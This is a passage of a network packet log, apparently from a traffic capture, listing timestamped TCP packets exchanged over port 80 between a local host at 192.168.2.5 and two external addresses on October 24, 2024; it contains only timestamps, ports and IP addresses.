Oct 24, 2024 08:38:30.555731058 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.555744886 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.555774927 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.555774927 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.555792093 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.555835009 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.555846930 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.555856943 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.555893898 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.555893898 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.602449894 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.602463961 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.602478981 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.602519989 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.602540970 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.633781910 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.633826971 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.633891106 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.633934021 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.633934021 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.633941889 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.633968115 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.633977890 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.633997917 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634012938 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634047985 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634053946 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634053946 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634083986 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634126902 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634126902 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634152889 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634166956 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634181976 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634222031 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634222031 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634433985 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634478092 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634495974 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634538889 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634574890 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634574890 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634602070 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634613991 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634624958 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634637117 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634648085 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.634654999 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634654999 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634696960 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.634696960 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635044098 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635061979 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635072947 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635104895 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635104895 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635267019 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635284901 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635296106 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635323048 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635340929 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635384083 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635395050 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635406017 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635416985 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635426998 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.635447025 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635447025 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.635482073 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.663578033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.663609982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.663621902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.663633108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.663645983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.663655996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.663702011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.663712025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.664036036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664055109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664066076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664079905 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.664088964 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.664112091 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.664458990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664503098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.664525032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664537907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664549112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.664561033 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.664583921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.665138960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.665158987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.665182114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.665200949 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.675051928 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675067902 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675079107 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675170898 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.675170898 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.675385952 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675399065 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675427914 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675447941 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.675447941 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.675471067 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675472021 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.675509930 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675520897 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.675539970 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.675576925 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.721622944 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.721664906 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.721720934 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.721755981 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.721802950 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.721854925 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.721854925 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.721854925 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.721856117 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.721856117 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753376007 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753390074 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753401041 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753434896 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753446102 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753456116 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753465891 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753488064 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753503084 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753503084 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753509998 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753521919 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753530979 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753540993 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753552914 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753575087 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753575087 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753627062 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753774881 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753804922 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753818989 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753823996 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753834963 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.753844023 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753870964 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.753870964 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754069090 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754080057 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754096985 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754107952 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754125118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754134893 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754134893 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754229069 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754443884 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754455090 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754466057 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754496098 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754532099 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754539013 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754549026 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754560947 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754573107 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754584074 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.754606009 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754606009 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.754656076 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.794357061 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794370890 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794380903 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794447899 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.794447899 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.794615984 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794626951 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794636965 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794680119 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.794680119 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.794742107 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794753075 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794763088 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.794797897 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.794876099 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.816397905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.816417933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.816483021 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.816546917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.816560030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.816571951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.816584110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.816592932 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.816628933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.817167044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817179918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817192078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817214966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.817226887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.817524910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817537069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817549944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817560911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817574024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.817585945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.817600012 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.841298103 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.841315031 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.841326952 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.841337919 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.841350079 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.841367960 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.841367960 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.841420889 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872612953 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872632027 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872643948 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872723103 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872723103 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872734070 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872751951 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872764111 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872776985 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872805119 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872805119 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872859001 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872900009 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872910976 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.872936010 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872936010 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.872992992 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873116970 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873126984 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873145103 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873155117 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873167038 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873191118 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873191118 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873375893 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873493910 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873505116 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873516083 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873533964 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873544931 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873557091 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873565912 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873565912 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873620987 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.873944998 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873964071 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.873975992 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874017000 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.874017000 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.874041080 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874052048 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874063969 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874074936 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874087095 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874098063 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.874098063 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.874150038 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.874557018 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874568939 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874578953 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.874614954 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.874614954 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.913640976 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913660049 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913671017 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913714886 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.913714886 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.913856030 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913932085 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913943052 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913953066 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.913975000 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.913975000 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.913991928 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.914017916 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.914063931 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.914077044 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.914104939 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.914104939 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.914124966 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.914160967 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.914160967 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.931508064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.931557894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.931586981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.931586027 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.931606054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.931617975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.931674004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.931674004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.931674004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.931674004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932049990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932060957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932106972 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932182074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932208061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932219982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932244062 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932266951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932266951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932311058 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932751894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932771921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932784081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.932795048 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932809114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.932830095 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.960218906 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.960274935 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.960288048 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.960297108 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.960310936 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.960325956 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.960331917 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.960355997 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.960355997 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.960376024 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.960387945 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.960540056 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.968945980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.968981028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:30.969022036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.969048977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:30.991910934 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.991928101 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.991998911 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992012024 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992027998 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:30.992046118 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992058039 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:30.992070913 CEST	80	61015	185.215.113.16	192.168.2.5
